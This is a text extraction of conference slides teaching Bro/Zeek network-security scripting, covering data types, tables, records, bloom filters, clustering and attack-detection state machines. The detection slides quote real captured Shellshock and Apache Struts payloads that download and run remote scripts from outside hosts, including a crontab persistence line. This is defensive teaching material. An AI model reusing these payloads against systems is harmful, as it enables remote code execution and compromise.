Bro scripts - 101 to 595 in 45 mins

Aashish Sharma
Zeek scripts - 101 to 595 in 45 mins

Aashish Sharma
Lawrence Berkeley National Laboratory

- "Bringing Science Solutions to the World"
- Hundreds of University staff also LBNL staff
- Rich history of scientific discovery
  - 13 Nobel Prizes
  - 63 members of the National Academy of Sciences (~3% of the Academy)
Network utilities from LBNL
- Traceroute
- Libpcap
- Tcpdump

Bro Network Security Monitor
This talk

- An attempt to provide a starting point into bro scripting
- Different people learn different ways
- Based on experiences a list of Do’s and Don’t
- Supplement to all the literature available online
- More of “my notes” of simple observations and use cases
- This talk doesn’t go into how scripting engine works
- But more into how bro scripting helps in operations
- Bro has functionality
  - How to use it?
  - Why to use it?
  - where to use it?
Sample hello world!

event bro_init()
{
    Print fmt ("hello world!");
}
Hello World

Welcome to our interactive Bro tutorial.

Click run and see the Bro magic happen. You may need to scroll down a bit to get to the output.

In this simple example you can see already a specialty of Bro, the "event". Bro is event-driven. This means you can control any execution by making it dependent on an event trigger. Our example here would not work without an event to be triggered so we use the two events that are always raised, bro_init() and bro_done().

The first is executed when Bro is started, the second when Bro terminates, so we can use these for example when no traffic is actually analyzed as we do for our basic examples (see here for more on these basic events). In this tutorial we will come back to events in the lesson about complex data types.

Other than that, all this script does is sending warm greetings to new Bro users by printing to STDOUT.

Try.bro allows you to hide the text if you want to script console to be full width. Find the button "hide" and give it

Output

Hello, World!
Goodbye, World!
Hello World

6948462:~ aashish$ bro ./hello.bro
Hello, World!
Goodbye, World!

Output

Hello, World!
Goodbye, World!
Example:

```
Hello World
```

### Loading Scripts

Like most software, Bro has built-in loading scripts available in the share/bro directory.

```
@load
```

The code is loaded and events that happen during load and within the events are
readable form. This is for debugging only and can be used to help understand
events and their parameters. Note that it will show only events for which a handler
is defined.

A small note needs to be made here because there are
some default paths defined by Bro automatically which
make it easier to load many of the scripts that are included
with Bro. The default paths are as follows (based on the
installed prefix directory):

- `<prefix>/share/bro`
- `<prefix>/share/bro/policy`
- `<prefix>/share/bro/site`

The most common use case of the load statement is in
local.bro. This file is part of Bro’s configuration files and
adds further scripts that are not loaded by default.

Bro Version: 2.5.5
Use PCAP: [ ]
Or
Browse... No file selected.
Hello World

Welcome to our interactive Bro tutorial.

Click run and see the Bro magic happen. You may need to scroll down a bit to get to the output.

In this simple example you can see already a specialty of Bro, the "event". Bro is event-driven. This means you can control any execution by making it dependent on an event trigger. Our example here would not work without an event to be triggered so we use the two events that are always raised, bro_init() and bro_done().

The first is executed when Bro is started, the second when Bro terminates, so we can use these for example when no traffic is actually analyzed as we do for our basic examples (see here for more on these basic events). In this tutorial we will come back to events in the lesson about complex data types.

Other than that, all this script does is sending warm greetings to new Bro users by printing to STDOUT.

Try.bro allows you to hide the text if you want to script console to be full width. Find the button "hide" and give it

```
main.bro
1
2 |
3 | event bro_init()
4 |  
5 |  
6 |
7 |
8 | event bro_done()
9 |  
10 |
```

Bro Version 2.5.5  Use PCAP Or Browse... No file selected.

Output

```
Hello, World!
Goodbye, World!
```
Bro Scripting:
Good documentation is here:
https://www.bro.org/sphinx/scripting/
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>bool</code></td>
<td>Boolean</td>
</tr>
<tr>
<td><code>count</code>, <code>int</code>, <code>double</code></td>
<td>Numeric types</td>
</tr>
<tr>
<td><code>time</code>, <code>interval</code></td>
<td>Time types</td>
</tr>
<tr>
<td><code>string</code></td>
<td>String</td>
</tr>
<tr>
<td><code>pattern</code></td>
<td>Regular expression</td>
</tr>
<tr>
<td><code>port</code>, <code>addr</code>, <code>subnet</code></td>
<td>Network types</td>
</tr>
<tr>
<td><code>enum</code></td>
<td>Enumeration (user-defined type)</td>
</tr>
<tr>
<td><code>table</code>, <code>set</code>, <code>vector</code>, <code>record</code></td>
<td>Container types</td>
</tr>
<tr>
<td><code>function</code>, <code>event</code>, <code>hook</code></td>
<td>Executable types</td>
</tr>
<tr>
<td><code>file</code></td>
<td>File type (only for writing)</td>
</tr>
<tr>
<td><code>opaque</code></td>
<td>Opaque type (for some built-in functions)</td>
</tr>
<tr>
<td><code>any</code></td>
<td>Any type (for functions or containers)</td>
</tr>
</tbody>
</table>
Variables

- **global**
- **local**
  - availability is restricted to the body of the event or function in which it was declared
- **namespace**
  - module
- **export** `{ MODULE::variable_name }`
- **constants**
  - Setup at parse time with &redef but once setup
    - Mostly used for configuration purposes
      - `const default_capture_password = F &redef;`
- **redef attribute**
  - &redef my_set += {23/tcp, 22/tcp};
port: ssh_port = 22/tcp ;
  watch_dst_ports: set[port] = { 80/tcp, 8000/tcp, 5555/tcp, 22/tcp } ;

subnet
  vpn_subnet_1 = 1.2.3.0/24 ;
  vpn_subnet: set [subnet] = { 131.243.220.0/22, } ;

pattern
  watched_URI: pattern = /\0wn3d/ ;

addr
  auth_ip: addr = 1.2.3.4 ;

time
  last_reply : time ;

Interval
  tot_drop_time: interval = last_seen - first_seen ;

And usual types:
  Int, count, double, bool
https://www.bro.org/sphinx/scripting/

- port: ssh_port = 22/tcp ;
  - watch_dst_ports: set[port] = { 80/tcp, 8000/tcp, 5555/tcp, 22/tcp } &redef ;
- subnet
  - vpn_subnet_1 = 1.2.3.0/24 ;
  - vpn_subnet: set [subnet] = { 131.243.220.0/22, } &redef ;
- Pattern
  - watched_URI: pattern = /\own3d/ &redef ;
- addr auth_ip: addr &redef ;
- time
  - last_reply : time = network_time() &redef ;
- Interval
  - tot_drop_time: interval = 0 secs &redef ;
port: ssh_port = 22/tcp ;
  ○ watch_dst_ports : set[port] = { 80/tcp, 8000/tcp, 5555/tcp, } &redef ;
    ■ redef watch_dst_port += { 22/tcp } ;

subnet
  ○ vpn_subnet_1 = 1.2.3.0/24 ;
  ○ vpn_subnet: set [subnet] = { 1.2.3.0/22, } &redef ;
    ■ redef vpn_subnet += { 2.3.4.0/24} ;

Pattern
  ○ watched_URI: patten = /\own3d/ &redef ;
    ■ watched_URI += /\hack3d\/ ;
Patterns in Bro

redef sensitive_URLs += /*Label_Copy_UPS\zip/ ;

Use cases:

● I’d like to extract all URLs from emails
  ○ const url_regex =

● I’d like to know if a URL is only IP address and not domain
  ○ /https?:\V([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}V/
Patterns New features: see “NEWS” in master (2.6-beta)

- with 2.6 ' &' and ' | ' operators can apply to patterns.
  - p1 & p2 yields a pattern that represents matching p1 followed by p2,
  - p1 | p2 yields a pattern representing matching p1 or p2

- Case-insensitive
  - /fOO/i == "Foo" yields T, as does /fOO/i in "xFoObar".

- ":?i:" operator:
  - /foo|(?:bar)/ will match "BaR", but not "FoO".

- /"foo"/i will not match "Foo", but it will match "foo".
Container types

- **set** - used to store unique elements of the same data type
- **table** - key value pair
- **Vector** - associative arrays
- **Record** - type allows to create a new data structure

Source: https://www.bro.org/sphinx/scripting/index.html#data-types-revisited
Sets - examples

- Representations of networks
  - never_drop_nets, live_nets, darknets, scan_nets
  - Subnets used by nigerian scammers
- ignore_src_ports, block_ports
- dns_servers, mail_servers,
- watch_dst_ip, watch_src_ip,
- Temp cache
  - potential_bot_clients,
  - possible_scan_sources
Sets - What good are they?

- Good for membership tests

```bro
event bro_init()
{
    local a_set: set[addr] = {
        1.1.1.1,
        1.1.1.2,
        1.1.1.3,
        1.1.1.4,
        1.1.1.5,
    };

    if (1.1.1.1 in a_set)
        print fmt("yes, 1.1.1.1 is in a_set");
}
```

Output

yes, 1.1.1.1 is in a_set
Sets - What good are they?

- Don’t count on sets for order preservation
  - All the users how have logged into this machine

```bro
event bro_init()
{
    local a_set: set[addr] = {
        1.1.1.1,
        1.1.1.2,
        1.1.1.3,
        1.1.1.4,
        1.1.1.5,
    };

    for (a in a_set)
        print fmt "%s", a;
}
```

```bash
$ bro ./a_set.bro
1.1.1.3
1.1.1.1
1.1.1.2
1.1.1.5
1.1.1.4
$ bro ./a_set.bro
1.1.1.2
1.1.1.4
1.1.1.5
1.1.1.3
1.1.1.1
$ bro ./a_set.bro
1.1.1.5
1.1.1.2
1.1.1.3
1.1.1.1
1.1.1.4
```
Sets - What good are they?

- Don’t count on sets for order preservation
  - All the users how have logged into this machine

```bro
main.bro

local v = vector("one", "two", "three");
for (a in v)
  print fmt ("%s - %s", a, v[a]);
```

Output

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>one</td>
</tr>
<tr>
<td>1</td>
<td>two</td>
</tr>
<tr>
<td>2</td>
<td>three</td>
</tr>
</tbody>
</table>
In darknet scan policy, I add IPs probed by scanner into a_set until |a_set| <=N, then I stop adding, generate a notice and call it a scanner.
Tables : key-value pairs

Really good basics is here:

https://www.bro.org/sphinx/scripting/index.html#id12

Writing Bro Scripts — Bro 2.5.5 documentation
https://www.bro.org/sphinx/scripting/index.html

Bro includes an event-driven scripting language that provides the primary means for an organization to extend and customize Bro's functionality. Virtually all of ...
I would like to track how many connections does an IP address make?

local scanners: table[addr] of count &default=0 &create_expire=1 day &expire_function=scanner_summary;

Depending the nature of your quest you can tap into an event:

event new_connection
Table: let's translate Security into code

How many times have two hosts talked with each other in last hour?

local chatty: table[addr, addr] of count &default=0 &create_expire=1 hrs;

Depending the nature of your quest you can tap into

event connection_attempt
event new_connection
event connection_established
Can we build a list of all services on all hosts on the network?

global host_profiles: table [addr] of set[port] &read_expire=1 days;

event connection_established(c: connection)
{
    local resp = c$id$resp_h;

    If (! Site::is_local_addr(resp))
        return;

    add_to_host_profile_cache(c$id);
}
Table: lets translate Security into code

Can we track recent exploit attempts by a given host?

Table: powerful functionality

- Create nested data structure

- Uses
  - create_expire,
  - read_expire,
  - write_expire
  - Along with expire_functions

https://www.bro.org/sphinx/scripting/index.html#id12
## Records - create your own data type

<table>
<thead>
<tr>
<th>ts</th>
<th>ipaddr</th>
<th>days_seen</th>
<th>first_seen</th>
<th>last_seen</th>
<th>active_for</th>
<th>last_active</th>
<th>hosts</th>
<th>total_conns</th>
<th>source</th>
</tr>
</thead>
<tbody>
<tr>
<td>1539240656.217002</td>
<td>158.69.247.184</td>
<td>Blacklist::ONGOING</td>
<td>1</td>
<td>1539035436.381507</td>
<td>1539035436.381507</td>
<td>00:00:00:00</td>
<td>02:09:00:20</td>
<td>1</td>
<td>2</td>
</tr>
<tr>
<td>1539240686.217956</td>
<td>62.210.244.146</td>
<td>Blacklist::ONGOING</td>
<td>1</td>
<td>1538754653.503527</td>
<td>1538757751.345767</td>
<td>00:00:51:38</td>
<td>05:14:08:55</td>
<td>2</td>
<td>3</td>
</tr>
<tr>
<td>1539240746.221071</td>
<td>185.26.156.40</td>
<td>Blacklist::ONGOING</td>
<td>3</td>
<td>1538729511.704367</td>
<td>1539219199.920233</td>
<td>05:16:01:28</td>
<td>00:05:59:06</td>
<td>7</td>
<td>11</td>
</tr>
<tr>
<td>1539240826.224254</td>
<td>198.71.81.66</td>
<td>Blacklist::ONGOING</td>
<td>3</td>
<td>1538740388.381623</td>
<td>1539226185.379597</td>
<td>05:14:56:37</td>
<td>00:04:04:81</td>
<td>1</td>
<td>8</td>
</tr>
<tr>
<td>1539240956.231296</td>
<td>107.170.205.8</td>
<td>Blacklist::ONGOING</td>
<td>1</td>
<td>1538787327.553348</td>
<td>1538787327.675945</td>
<td>00:00:00:00</td>
<td>05:06:00:29</td>
<td>11</td>
<td>12</td>
</tr>
<tr>
<td>1539240966.232293</td>
<td>199.249.223.74</td>
<td>Blacklist::ONGOING</td>
<td>1</td>
<td>1538870145.138025</td>
<td>1538870145.118025</td>
<td>00:00:00:00</td>
<td>04:07:00:21</td>
<td>1</td>
<td>2</td>
</tr>
<tr>
<td>1539241016.234804</td>
<td>87.118.122.50</td>
<td>Blacklist::ONGOING</td>
<td>3</td>
<td>1538679379.752535</td>
<td>1538940736.76507</td>
<td>03:00:35:57</td>
<td>03:11:24:40</td>
<td>10</td>
<td>14</td>
</tr>
<tr>
<td>1539241046.236390</td>
<td>5.39.33.178</td>
<td>Blacklist::ONGOING</td>
<td>1</td>
<td>1539140232.476090</td>
<td>1539140913.808139</td>
<td>00:00:13:01</td>
<td>01:03:47:13</td>
<td>1</td>
<td>3</td>
</tr>
<tr>
<td>1539241056.236570</td>
<td>94.23.248.158</td>
<td>Blacklist::ONGOING</td>
<td>2</td>
<td>1538092633.389935</td>
<td>1539215864.423301</td>
<td>02:14:00:31</td>
<td>00:06:59:52</td>
<td>2</td>
<td>3</td>
</tr>
<tr>
<td>1539241056.236570</td>
<td>185.61.149.116</td>
<td>Blacklist::ONGOING</td>
<td>1</td>
<td>1539014238.267550</td>
<td>1539014238.267550</td>
<td>00:00:00:00</td>
<td>02:15:00:18</td>
<td>1</td>
<td>2</td>
</tr>
<tr>
<td>1539241056.236570</td>
<td>37.218.245.25</td>
<td>Blacklist::ONGOING</td>
<td>1</td>
<td>1538870226.171853</td>
<td>1538870226.171853</td>
<td>00:00:00:00</td>
<td>04:07:00:30</td>
<td>1</td>
<td>2</td>
</tr>
</tbody>
</table>
Records - create your own data type

```haskell
type conn_stats: record {
    start_ts: time &default=double_to_time(0.0);
    end_ts: time &default=double_to_time(0.0);
    hosts: opaque of cardinality &default=hll_cardinality_init(0.1, 0.99);
    conn_count: count &default=0;
}
```

```haskell
if (orig !in conn_table)
{
    local cs: conn_stats;
    conn_table[orig]=cs ;
    conn_table[orig]$start_ts=c$start_time;
}
```

```haskell
conn_table[orig]$end_ts=c$start_time;
conn_table[orig]$conn_count +=1 ;
```
Slightly more complex record

type smtp_record : record {
    ts: time &log ;
    mid: string &log;
    spam: hamorspam &default=NOSPAM &log;
    virus: AV_verdict &log;
    delivery: delivery_status &default=DELIVERY &log;
    from: string &log;
    to: set[string] &log;
    subject: string &log;
    attachments: set[string] &log ;
};
Mail Status

Oct 10 01:32:13 mail_log: Info: MID 38759305 ICID 0 From: <support1@dhl.com>
Oct 10 01:32:13 mail_log: Info: MID 38759305 ICID 0 RID 0 To: <blah@lbl.gov>
Oct 10 01:32:14 mail_log: Info: MID 38759305 using engine: CASE spam positive
Oct 10 01:32:14 mail_log: Info: ISQ: Tagging MID 38759305 for quarantine
Oct 10 01:32:14 mail_log: Info: MID 38759305 interim AV verdict using Sophos VIRAL
Oct 10 01:32:14 mail_log: Info: MID 38759305 antivirus positive 'CXmail/MalPE-P'
Oct 10 01:32:14 mail_log: Info: Message aborted MID 38759305 Dropped by antivirus
Oct 10 01:32:14 mail_log: Info: Message finished MID 38759305 done

38759305 IRONPORT::SPAM IRONPORT::VIRAL IRONPORT::DELIVERY <support1@dhl.com>
<blah@lbl.gov>
Slightly more complex record

type smtp_record : record {
  ts: time &log ;
  mid: string &log;
  spam: hamorspam &default=NOSPAM &log;
  virus: AV_verdict &log;
  delivery: delivery_status &default=DELIVERY &log;
  from: string &log;
  to: set[string] &log;
  subject: string &log;
  attachments: set[string] &log ;
} ;

Missing complexities

Q. How do you inject ironport logs
A. Input-framework

Q. What about latencies of logs coming from syslog server vs real-time pcap
A. Table - expirations

Q. How do actions happen on enriched data
A. Table expirations
Bloomfilters

global b_test : opaque of bloomfilter ;

event bro_init() 
{ 
    b_test = bloomfilter_basic_init(0.00000001,100000000);
    bloomfilter_add(b_test,1.1.1.1);
    local lookup = bloomfilter_lookup(b_test,1.1.1.1);

    if (lookup == 1) 
        print fmt ("YES This is true hit");
}
Bloomfilter uses

- Blacklists
- Urls in emails
- Outgoing connection established?
  - Did we initiate a connection to this remote IP
- Basically any time you want to do a membership test
- Stop without worrying about sets/tablesscale

And now there will be cuckoo-filter
Opaque of cardinality

\[
\text{global } c\_\text{distinct\_peers}: \text{table[addr]} \text{ of opaque of cardinality } \\
&\text{default } = \text{function(n: any): opaque of cardinality } \\
&\{ \text{return } \text{hll\_cardinality\_init}(0.1, 0.99); \} \\
&\text{read\_expire } = 1 \text{ day} ;
\]

if (orig \notin \text{Scan::known\_scanners})
{
    \text{local } d\_val = \text{double\_to\_count}(\text{hll\_cardinality\_estimate}(c\_\text{likely\_scanner}[\text{orig, d\_port}])) ;

    \text{if } (d\_val == \text{HIGH\_THRESHOLD\_LIMIT} \&\& \text{high\_threshold\_flag} )
type conn_stats: record {
    start_ts: time &default=double_to_time(0.0);
    end_ts: time  &default=double_to_time(0.0);
    hosts: opaque of cardinality &default=hll_cardinality_init(0.1, 0.99);
    conn_count: count &default=0;
}

event new_connection(c: connection)
{
    local resp = c$id$resp_h ;
    hll_cardinality_add(conn_table[orig]$hosts, resp);
}

And then on Manager you'd, do:

    hll_cardinality_merge_into(scan_summary[idx]$hosts, conn_table[idx]$hosts);
So How do I even start scripting in Bro?

- Try - try.bro.org
- Setup SitePolicyScripts in broctl.cfg and run bro on live traffic
- Use BROPATH
  - `$BROPATH` | file search path
  - `(.:/usr/local/bro-2.5b/share/bro:/usr/local/bro-2.5b/share/bro/policy:/usr/local/bro-2.5b/share/bro/site:/home/aashish/mytestdir)`
  - Run bro on pcaps
  - `bro ./my-custom-script.bro`
Basic structure of bro scripts

You tap into desired/relevant events

Identify appropriate data structures

Declare local and global scopes

Identify what notice::Type you going to use

Is clusterization needed?

How is scaling and data purging handled
module 404;
export {
    global track_404: table[addr] of count &default=0 &write_expire=6 hrs;
}

event http_reply(c: connection, version: string, code: count, reason: string) &priority=-5 {
    local orig=c$id$orig_h;
    local resp=c$id$resp_h;

    if (code == 404) {
        if (orig !in track_404) {
            track_404[orig]=1;

            track_404[orig] += 1;
        }
    }
    local n = |track_404[orig]|;
    If (n == 100) notice();
}
export {
    global track_404: table[addr] of count &default=0 &write_expire=6 hrs ;
}

event http_reply(c: connection, version: string, code: count, reason: string) &priority=-5 {

    local orig=c$id$orig_h;
    local resp=c$id$resp_h;

    if (code == 404) {
        if (orig !in track_404) {
            track_404[orig]=1 ;
            track_404[orig] += 1 ;
        }
    }

    local n = |track_404[orig]|;

    If (n == 100) {
        notice() ;
    }
}
export {
    global track_404: table[addr] of count &default=0 &write_expire=6 hrs ;
}

event http_reply(c: connection, version: string, code: count, reason: string) &priority=-5 {

    local orig=c$id$orig_h;
    local resp=c$id$resp_h ;

    if (code != 404 )
        return ;

    if (orig !in track_404)
        track_404[orig]=0 ;

    track_404[orig] += 1 ;

    local n = |track_404[orig]|;
    If (n == 100)
        notice() ;
}
Eliminate uninteresting connections first of ALL

- A good strategy to reduce computing cycles inside scripts is to eliminate the connections which don’t matter.
- Somewhat counterintuitive (at least to me) but makes TOTAL sense
- Examples
  - Use “return”

```perl
If (c$id$orig_h in Site::local_nets)
  return ;
```
Bro scripts and attack centric detections

- Scripts as state-machines
- Correlation engines
- Mechanism to represent various stages of attacks and their transitions
- So sure, bad guy can use different tools/ways/means to make A transition and you may not see that but ultimately they’ve gotta be on state B, or C or D.
- In an ideal world entire detection lights up like a X-Mas tree
Vulnerable system

Exec Shellshock ‘exploit’

Scan for vuln System

Download Malware

Misuse (botnet/IRC) or ...

Shellshock.bro

user agent: curl, wget
Shellshock URL

irc_sessions.bro

Scan Detection (scan.bro)

DNS Request
Domain Part of URL

HTTP GET

Alert

Drop Scanner

Drop Shellshock attempt

Can we identify if a system is vulnerable based on scanner results?

Can Bro detect on all the possible state-transitions for a successful attack?
Shellshock - 2014

1. Shellshock::Attempt
   CVE-2014-6271: 212.67.213.40 - 131.243.a.b submitting USER-AGENT=( ) { :: ; };
   /bin/bash -c "curl -O http://www.whirlpoolexpress.co.uk/bot.txt -o /tmp/bot.txt; lwp-download -a
   http://www.whirlpoolexpress.co.uk/bot.txt /tmp/bot.txt; wget http://www.whirlpoolexpress.co.uk/bot.txt -O
   /tmp/bot.txt; perl /tmp/bot.txt; rm -f /tmp/bot.txt*; mkdir /tmp/bot.txt"

2. Shellshock::Hostile_Domain
   ShellShock Hostile domain seen 131.243.64.2=156.154.101.3
   [www.whirlpoolexpress.co.uk]
   a. Intel::Notice Intel hit on www.whirlpoolexpress.co.uk at DNS::IN_REQUEST
   b. Intel::Notice Intel hit on www.whirlpoolexpress.co.uk at HTTP::IN_HOST_HEADER

3. Shellshock::Hostile_URI
   ShellShock Hostile domain seen 131.243.a.b=94.136.35.236
   [www.whirlpoolexpress.co.uk]

4. Shellshock::Compromise
   ShellShock compromise: 131.243.a.b=94.136.35.236
   [http://www.whirlpoolexpress.co.uk/bot.txt]
   Intel::Notice Intel hit on www.whirlpoolexpress.co.uk at HTTP::IN_HOST_HEADER
Or Apache Struts (2018)

Struts::Attempt  CVE-2017-5638/Struts attack from 179.60.146.9 seen

```
Struts::MalwareURL Struts Hostile URLs seen in recon attempt 179.60.146.9 to 128.3.x.y with URL
```

```
wget -O - -q http://45.227.252.243/static/font.jpg|sh
*/19 * * * * curl http://45.227.252.243/static/font.jpg|sh" | crontab -;wget -O -q
http://45.227.252.243/static/font.jpg|sh'
```

```
!(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new.java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
```
Custerizations and complexity

- Strength of bro is ability to divide (the network traffic) and conquer (detections)
- Division of traffic causes data centralization problems
- Which means what’s simple stuff might be unnecessarily complex underneath
Cluster models
Cluster models

- Read Input-file on manager
- Distribute data to workers
Cluster models

- Find characteristics of a Scan -
  - eg. syn only pkts
- Send to manager for aggregation
Cluster models

- Find URLs in emails
- Send to manager
- Distribute to works to check against HTTP GET requests
Cluster models

- Read Input-file on manager
- Distribute data to workers
- Manager workers to report counts of connections
- Aggregate the counts on manager
Debugging in standalone vs cluster

Standalone:

```
print fmt ("value is %s", variable);
```

Cluster

```
local msg = fmt ("value is %s", variable);
event reporter_info(network_time(), msg, peer_description);
```
RDP Bruteforce Scans

- Risky detections
  - since we don’t know success or failure.
  - All we know is a RDP log
- so why not?
- Lets just derive inferences from the attempt only
- Advantage - heuristics applies to other protocols - eg. ftp
Worker

Manager Heuristics

RDP::HotAccount
sHost_sAccount_mPasswords
sHost_mAccounts
mHost_smAccounts

event log_rdp

manager

1539243576.356933 CpTrRoW2iLeunCtqe 58.84.31.2 48764 128.3.1.x 3389 a
Things to consider with cluster

- Are workers going to overload the manager
  - Decision making based on connection layer vs application layer
That brings to be bro package

COPYING
README.rst
bro-pkg.meta
scripts
tests
bro-pkg.meta

$ cat bro-pkg.meta
[package]
description=rdp-bruteforce
script_dir = scripts
version = 0.1
tags = rdp, bruteforce, scan
test_command = ( cd tests && btest -d )
btest

- Works for plugins
- Works in scriptland

$ btest

[ 0%] rdp-bruteforce.RDP-HotAccounts ... ok
[ 25%] rdp-bruteforce.RDP-sHost_mAccounts ... ok
[ 50%] rdp-bruteforce.RDP-sHost_sAccount_mPasswords ... ok
[ 75%] rdp-bruteforce.rdp-bruteforce ... ok

all 4 tests successful
What I haven't' covered here

Pretty much everything .. we barely scratched the surface

- Input-framework
- PostgreSQL + BRO
- Designing complex packages/heuristics
- Notice Framework
- Logging framework
- NetControl
- Protocol layer heuristics
Uses of `bro_init()`

- **Create Log streams/ setup log filters**
  - Log::create_stream(IPv6Addr::LOG, [$columns=Info, $ev=log_ipv6_addr]);

- **Schedule events**
  - schedule 1 sec { init_datastream() };

- **Initialize records/tables/bloomfilters**
  - blacklistbloom = bloomfilter_basic_init(0.001, 5000000);

- **Populate tables using input-framework**
  - Input::add_event([$source=auth_file, $name="RawAuthData", $fields=lineVals, $ev=raw_auth_data, $config=config_strings, $reader=Input::READER_RAW, $mode=Input::STREAM]);

- **Initialize NetControl**
  - local pacf_acld = NetControl::create_acld([$acld_host=127.0.0.1, $acld_port=broker_port, $acld_topic="bro/event/pacf"])

- **Initialize analyzers**
  - Analyzer::register_for_ports(Analyzer::ANALYZER_NTP, ports);
So ask not what *bro* can do for you. Ask what you want to do, and see if *bro* is a good tool for that. It generally is.
Questions?

security@lbl.gov
asharma@lbl.gov

(We use Zeek, you should too!!)